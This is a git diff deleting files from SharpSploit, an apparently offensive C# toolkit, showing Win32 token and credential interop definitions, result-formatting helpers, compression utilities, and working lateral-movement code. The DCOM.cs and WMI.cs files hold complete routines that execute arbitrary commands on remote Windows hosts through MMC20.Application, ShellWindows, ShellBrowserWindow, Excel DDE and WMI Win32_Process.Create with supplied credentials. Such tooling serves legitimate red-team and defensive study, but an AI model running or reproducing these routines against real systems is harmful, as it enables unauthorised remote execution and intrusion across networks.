UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; - public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; - public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; - public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; - public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; - public const UInt64 SE_GROUP_MANDATORY = 0x00000001L; - public const UInt64 SE_GROUP_OWNER = 0x00000008L; - public const UInt64 SE_GROUP_RESOURCE = 0x20000000L; - public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; - - public enum _SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - public enum TOKEN_TYPE - { - TokenPrimary = 1, - TokenImpersonation - } - - public enum _TOKEN_ELEVATION_TYPE - { - TokenElevationTypeDefault = 1, - TokenElevationTypeFull, - TokenElevationTypeLimited - } - - [StructLayout(LayoutKind.Sequential)] - public struct _MEMORY_BASIC_INFORMATION32 - { - public UInt32 BaseAddress; - public UInt32 AllocationBase; - public UInt32 AllocationProtect; - public UInt32 RegionSize; - public UInt32 State; - public UInt32 Protect; - public UInt32 Type; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _MEMORY_BASIC_INFORMATION64 - { - public UInt64 BaseAddress; - public UInt64 AllocationBase; - public UInt32 AllocationProtect; - public UInt32 __alignment1; - public UInt64 RegionSize; - public UInt32 State; - public UInt32 Protect; - public UInt32 Type; - public UInt32 __alignment2; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID_AND_ATTRIBUTES - { - public _LUID Luid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID - { - public UInt32 LowPart; - public UInt32 HighPart; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_STATISTICS - { - public _LUID TokenId; - public _LUID AuthenticationId; - public UInt64 ExpirationTime; - public TOKEN_TYPE TokenType; - public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; - public UInt32 DynamicCharged; - public UInt32 DynamicAvailable; - public UInt32 GroupCount; - public UInt32 PrivilegeCount; - public _LUID ModifiedId; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES - { - public UInt32 PrivilegeCount; - public _LUID_AND_ATTRIBUTES Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_MANDATORY_LABEL - { - public _SID_AND_ATTRIBUTES Label; - } - - public struct _SID - { - public byte Revision; - public byte SubAuthorityCount; - public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public ulong[] SubAuthority; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _SID_IDENTIFIER_AUTHORITY - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] - public byte[] Value; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _SID_AND_ATTRIBUTES - { - public IntPtr Sid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _PRIVILEGE_SET - { - public UInt32 PrivilegeCount; - public UInt32 Control; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public _LUID_AND_ATTRIBUTES[] Privilege; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_USER - { - public _SID_AND_ATTRIBUTES User; - } - - public enum _SID_NAME_USE - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer, - SidTypeLabel - } - - public enum _TOKEN_INFORMATION_CLASS - { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - MaxTokenInfoClass - } - - // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK - [Flags] - public enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - STANDARD_RIGHTS_READ = 0x00020000, - STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - STANDARD_RIGHTS_ALL = 0x001F0000, - SPECIFIC_RIGHTS_ALL = 0x0000FFF, - ACCESS_SYSTEM_SECURITY = 0x01000000, - MAXIMUM_ALLOWED = 0x02000000, - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - WINSTA_ALL_ACCESS = 0x0000037F - }; - } - - public class ProcessThreadsAPI - { - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFO - { - public UInt32 cb; - public String lpReserved; - public String lpDesktop; - public String lpTitle; - public UInt32 dwX; - public UInt32 dwY; - public UInt32 dwXSize; - public UInt32 dwYSize; - public UInt32 dwXCountChars; - public UInt32 dwYCountChars; - public UInt32 dwFillAttribute; - public UInt32 dwFlags; - public UInt16 wShowWindow; - public UInt16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFOEX - { - _STARTUPINFO StartupInfo; - // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public UInt32 dwProcessId; - public UInt32 dwThreadId; - }; - } - - public class WinCred - { - #pragma warning disable 0618 - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct _CREDENTIAL - { - public CRED_FLAGS Flags; - public UInt32 Type; - public IntPtr TargetName; - public IntPtr Comment; - public FILETIME LastWritten; - public UInt32 CredentialBlobSize; - public UInt32 Persist; - public UInt32 AttributeCount; - public IntPtr Attributes; - public IntPtr TargetAlias; - public IntPtr UserName; - } - #pragma warning restore 0618 - - public enum CRED_FLAGS : uint - { - NONE = 0x0, - PROMPT_NOW = 0x2, - USERNAME_TARGET = 0x4 - } - - public enum CRED_PERSIST : uint - { - Session = 1, - LocalMachine, - Enterprise - } - - public enum CRED_TYPE : uint - { - Generic = 1, - DomainPassword, - DomainCertificate, - DomainVisiblePassword, - GenericCertificate, - DomainExtended, - Maximum, - MaximumEx = Maximum + 1000, - } - } - - public class Secur32 - { - [DllImport("Secur32.dll", SetLastError = false)] - public static extern uint LsaGetLogonSessionData( - IntPtr luid, - out IntPtr ppLogonSessionData - ); - - public struct _SECURITY_LOGON_SESSION_DATA - { - public UInt32 Size; - public WinNT._LUID LoginID; - public _LSA_UNICODE_STRING Username; - public _LSA_UNICODE_STRING LoginDomain; - public _LSA_UNICODE_STRING AuthenticationPackage; - public UInt32 LogonType; - public UInt32 Session; - public IntPtr pSid; - public UInt64 LoginTime; - public _LSA_UNICODE_STRING LogonServer; - public _LSA_UNICODE_STRING DnsDomainName; - public _LSA_UNICODE_STRING Upn; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LSA_UNICODE_STRING - { - public UInt16 Length; - public UInt16 MaximumLength; - public IntPtr Buffer; - } - } - - public class NtDll - { - [DllImport("ntdll.dll", SetLastError = true)] - public static extern int NtFilterToken( - IntPtr TokenHandle, - UInt32 Flags, - IntPtr SidsToDisable, - IntPtr PrivilegesToDelete, - IntPtr RestrictedSids, - ref IntPtr hToken - ); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern Int32 NtSetInformationToken( - IntPtr TokenHandle, - Int32 TokenInformationClass, - ref WinNT._TOKEN_MANDATORY_LABEL TokenInformation, - Int32 TokenInformationLength - ); - } - } -} \ No newline at end of file diff --git a/Source/SharpSploit/Generic/Generic.cs b/Source/SharpSploit/Generic/Generic.cs deleted file mode 100644 index 5e27e4f..0000000 --- a/Source/SharpSploit/Generic/Generic.cs +++ /dev/null @@ -1,185 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Text; -using System.Linq; -using System.Collections.Generic; -using System.Collections; - -namespace SharpSploit.Generic -{ - /// - /// GenericObjectResult for listing objects whose type is unknown at compile time. - /// - public sealed class GenericObjectResult : SharpSploitResult - { - public object Result { get; } - protected internal override IList ResultProperties - { - get - { - return new List - { - new SharpSploitResultProperty - { - Name = this.Result.GetType().Name, - Value = this.Result - } - }; - } - } - - public GenericObjectResult(object Result) - { - this.Result = Result; - } - } - - /// - /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily - /// format a list of results from various SharpSploit functions. - /// - /// - public class SharpSploitResultList : IList where T : SharpSploitResult - { - private List Results { get; } = new List(); - - public int Count => Results.Count; - public bool IsReadOnly => ((IList)Results).IsReadOnly; - - - private const int PROPERTY_SPACE = 3; - - /// - /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function. - /// - /// string - public string FormatList() - { - return this.ToString(); - } - - private string FormatTable() - { - // TODO - return ""; - } - - /// - /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience. - /// - /// string - public override string ToString() - { - if (this.Results.Count > 0) - { - StringBuilder builder1 = new StringBuilder(); - StringBuilder builder2 = new StringBuilder(); - for (int i = 0; i < this.Results[0].ResultProperties.Count; i++) - { - builder1.Append(this.Results[0].ResultProperties[i].Name); - builder2.Append(new String('-', this.Results[0].ResultProperties[i].Name.Length)); - if (i != this.Results[0].ResultProperties.Count-1) - { - builder1.Append(new String(' ', PROPERTY_SPACE)); - builder2.Append(new String(' ', PROPERTY_SPACE)); - } - } - builder1.AppendLine(); - builder1.AppendLine(builder2.ToString()); - foreach (SharpSploitResult result in this.Results) - { - for (int i = 0; i < result.ResultProperties.Count; i++) - { - SharpSploitResultProperty property = result.ResultProperties[i]; - string ValueString = property.Value.ToString(); - builder1.Append(ValueString); - if (i != result.ResultProperties.Count-1) - { - builder1.Append(new String(' ', Math.Max(1, property.Name.Length + PROPERTY_SPACE - ValueString.Length))); - } - } - builder1.AppendLine(); - } - return builder1.ToString(); - } - return ""; - } - - public T this[int index] { get => Results[index]; set => Results[index] = value; } - - public IEnumerator GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - public int IndexOf(T item) - { - return Results.IndexOf(item); - } - - public void Add(T t) - { - Results.Add(t); - } - - public void AddRange(IEnumerable range) - { - Results.AddRange(range); - } - - public void Insert(int index, T item) - { - Results.Insert(index, item); - } - - public void RemoveAt(int index) - { - Results.RemoveAt(index); - } - - public void Clear() - { - Results.Clear(); - } - - public bool Contains(T item) - { - return Results.Contains(item); - } - - public void CopyTo(T[] array, int arrayIndex) - { - Results.CopyTo(array, arrayIndex); - } - - public bool Remove(T item) - { - return Results.Remove(item); - } - } - - /// - /// Abstract class that represents a result from a SharpSploit function. - /// - public abstract class SharpSploitResult - { - protected internal abstract IList ResultProperties { get; } - } - - /// - /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties. - /// - public class SharpSploitResultProperty - { - public string Name { get; set; } - public object Value { get; set; } - } -} diff --git a/Source/SharpSploit/LateralMovement/DCOM.cs b/Source/SharpSploit/LateralMovement/DCOM.cs deleted file mode 100644 index 5cf3ba7..0000000 --- a/Source/SharpSploit/LateralMovement/DCOM.cs +++ /dev/null @@ -1,112 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Linq; -using System.Reflection; -using System.Collections.Generic; - -namespace SharpSploit.LateralMovement -{ - /// - /// DCOM is a class for executing DCOM lateral movement techniques. - /// - public static class DCOM - { - /// - /// Execute a process on a remote system using various DCOM methods. - /// - /// ComputerName of remote system to execute process. - /// Command to execute on remote system. - /// - /// - /// DCOM execution method to use. Defaults to MMC20.Application. - /// Bool. True if execution succeeds, false otherwise. - /// - /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is - /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available - /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 - /// - public static bool DCOMExecute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application) - { - try - { - if (Method == DCOMMethod.MMC20_Application) - { - Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName); - object RemoteComObject = Activator.CreateInstance(ComType); - - object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); - object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null); - ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command, Directory, Parameters, "7" }); - } - else if (Method == DCOMMethod.ShellWindows) - { - Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName); - object RemoteComObject = Activator.CreateInstance(ComType); - - object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { }); - object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null); - object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); - Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 }); - } - else if (Method == DCOMMethod.ShellBrowserWindow) - { - Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName); - object RemoteComObject = Activator.CreateInstance(ComType); - - object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); - object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); - Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 }); - } - else if (Method == DCOMMethod.ExcelDDE) - { - Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName); - object RemoteComObject = Activator.CreateInstance(ComType); - RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false }); - RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters }); - } - return true; - } - catch (Exception e) - { - Console.Error.WriteLine("DCOM Failed: " + e.Message); - } - return false; - } - - /// - /// Execute a process on a remote system using various DCOM methods. - /// - /// ComputerNames of remote systems to execute process. - /// Command to execute on remote system. - /// - /// - /// DCOM execution method to use. Defaults to MMC20.Application. - /// Bool. True if execution succeeds, false otherwise. - /// - /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is - /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available - /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 - /// - public static List DCOMExecute(List ComputerNames, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application) - { - return ComputerNames.Select(CN => DCOMExecute(CN, Command, Parameters, Directory, Method)).ToList(); - } - - public enum DCOMMethod - { - MMC20_Application, - ShellWindows, - ShellBrowserWindow, - ExcelDDE - } - - private static readonly Dictionary CLSIDs = new Dictionary - { - { DCOMMethod.ShellWindows, new Guid("9BA05972-F6A8-11CF-A442-00A0C90A8F39") }, - { DCOMMethod.ShellBrowserWindow, new Guid("C08AFD90-F2A1-11D1-8455-00A0C91F3880") } - }; - } -} diff --git a/Source/SharpSploit/LateralMovement/WMI.cs b/Source/SharpSploit/LateralMovement/WMI.cs deleted file mode 100644 index 3d2db3e..0000000 --- a/Source/SharpSploit/LateralMovement/WMI.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Linq; -using System.Management; -using System.Collections.Generic; - -namespace SharpSploit.LateralMovement -{ - /// - /// WMI is a class for executing WMI lateral movement techniques. - /// - public static class WMI - { - /// - /// Execute a process on a remote system using the WMI Win32_Process.Create method. - /// - /// ComputerName of remote system to execute process. - /// Command to execute on remote system. - /// Username to authenticate as to the remote system. - /// Password to authenticate the user. - /// Bool. True if execution succeeds, false otherwise. - public static bool WMIExecute(string ComputerName, string Command, string Username, string Password) - { - ConnectionOptions options = new ConnectionOptions(); - options.Username = Username; - options.Password = Password; - - ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", ComputerName), options); - - try - { - scope.Connect(); - var wmiProcess = new ManagementClass(scope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); - - ManagementBaseObject inParams = wmiProcess.GetMethodParameters("Create"); - PropertyDataCollection properties = inParams.Properties; - inParams["CommandLine"] = Command; - - ManagementBaseObject outParams = wmiProcess.InvokeMethod("Create", inParams, null); - - Console.WriteLine("Win32_Process Create returned: " + outParams["returnValue"].ToString()); - Console.WriteLine("ProcessID: " + outParams["processId"].ToString()); - return true; - } - catch (Exception e) - { - Console.Error.WriteLine("WMI Exception:" + e.Message); - } - return false; - } - - /// - /// Execute a process on a remote system using the WMI Win32_Process.Create method. - /// - /// ComputerNames of remote systems to execute process. - /// Command to execute on remote system. - /// Username to authenticate as to the remote system. - /// Password to authenticate the user. - /// Bool. True if execution succeeds, false otherwise. - public static List WMIExecute(List ComputerNames, string Command, string Username, string Password) - { - return ComputerNames.Select(CN => WMIExecute(CN, Command, Username, Password)).ToList(); - } - } -} diff --git a/Source/SharpSploit/Misc/CountdownEvent.cs b/Source/SharpSploit/Misc/CountdownEvent.cs deleted file mode 100644 index f155c60..0000000 --- a/Source/SharpSploit/Misc/CountdownEvent.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Threading; - -namespace SharpSploit.Misc -{ - /// - /// CountdownEvent is used for counting Asynchronous operations - /// - /// - /// Adapted from https://stackoverflow.com/questions/6790499 - /// - public sealed class CountdownEvent : IDisposable - { - private readonly ManualResetEvent _countEvent = new ManualResetEvent(false); - private readonly ManualResetEvent _reachedCountEvent = new ManualResetEvent(false); - private volatile int _maxCount; - private volatile int _currentCount = 0; - private volatile bool _isDisposed = false; - - public CountdownEvent(int count) - { - this._maxCount = count; - } - - public bool Signal() - { - if (this._isDisposed) - { - return false; - } - if (this._currentCount >= this._maxCount) - { - return true; - } - if (Interlocked.Increment(ref _currentCount) >= this._maxCount) - { - _reachedCountEvent.Set(); - return true; - } - _countEvent.Set(); - return false; - } - - public bool Wait(int timeout = Timeout.Infinite) - { - if (this._isDisposed) - { - return false; - } - return _reachedCountEvent.WaitOne(timeout); - } - - public bool WaitOne(int timeout = Timeout.Infinite) - { - if (this._isDisposed) - { - return false; - } - return _countEvent.WaitOne(timeout); - } - - public void Dispose() - { - this.Dispose(true); - GC.SuppressFinalize(this); - } - - public void Dispose(bool disposing) - { - if (!this._isDisposed) - { - if (disposing) - { - ((IDisposable)_reachedCountEvent).Dispose(); - ((IDisposable)_countEvent).Dispose(); - } - this._isDisposed = true; - } - } - } -} diff --git a/Source/SharpSploit/Misc/Utilities.cs b/Source/SharpSploit/Misc/Utilities.cs deleted file mode 100644 index 19a8b2b..0000000 --- a/Source/SharpSploit/Misc/Utilities.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System.IO; -using System.IO.Compression; -using System.Linq; -using System.Reflection; - -namespace SharpSploit.Misc -{ - public static class Utilities - { - private static string[] manifestResources = Assembly.GetExecutingAssembly().GetManifestResourceNames(); - - public static byte[] GetEmbeddedResourceBytes(string resourceName) - { - string resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName + ".comp")); - if (resourceFullName != null) - { - return Decompress(Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully()); - } - else if ((resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName))) != null) - { - return Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully(); - } - return null; - } - - public static byte[] ReadFully(this Stream input) - { - byte[] buffer = new byte[16 * 1024]; - using (MemoryStream ms = new MemoryStream()) - { - int read; - while((read = input.Read(buffer, 0, buffer.Length)) > 0) - { - ms.Write(buffer, 0, read); - } - return ms.ToArray(); - } - } - - public static byte[] Compress(byte[] Bytes) - { - byte[] compressedBytes; - using (MemoryStream memoryStream = new MemoryStream()) - { - using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress)) - { - deflateStream.Write(Bytes, 0, Bytes.Length); - } - compressedBytes = memoryStream.ToArray(); - } - return compressedBytes; - } - - public static byte[] Decompress(byte[] compressed) - { - using (MemoryStream inputStream = new MemoryStream(compressed.Length)) - { - inputStream.Write(compressed, 0, compressed.Length); - inputStream.Seek(0, SeekOrigin.Begin); - using (MemoryStream outputStream = new MemoryStream()) - { - using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress)) - { - byte[] buffer = new byte[4096]; - int bytesRead; - while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0) - { - outputStream.Write(buffer, 0, bytesRead); - } - } - return outputStream.ToArray(); - } - } - } - } -}